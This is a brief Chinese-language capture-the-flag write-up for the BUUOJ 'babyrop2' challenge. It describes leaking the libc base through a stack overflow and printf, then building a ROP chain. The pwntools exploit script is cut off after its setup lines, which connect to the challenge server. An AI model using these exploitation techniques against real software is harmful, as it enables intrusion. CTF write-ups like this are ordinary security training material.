0x01 文件分析
0x02 运行
和babyrop一样。
0x03 IDA
程序流程和babyrop差不多,但是这个里面没有提供可用的gadget,需要自己完成rop。
0x04 思路
没有默认的gadget,需要自己构建,需要利用栈溢出和printf函数泄露libc版本和libc基址,再构建rop。需要注意的是printf函数需要用到的参数,第一个参数需要为格式化字符串%s。
0x05 exp
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p = process('./babyrop2')
p = remote("node3.buuoj.cn"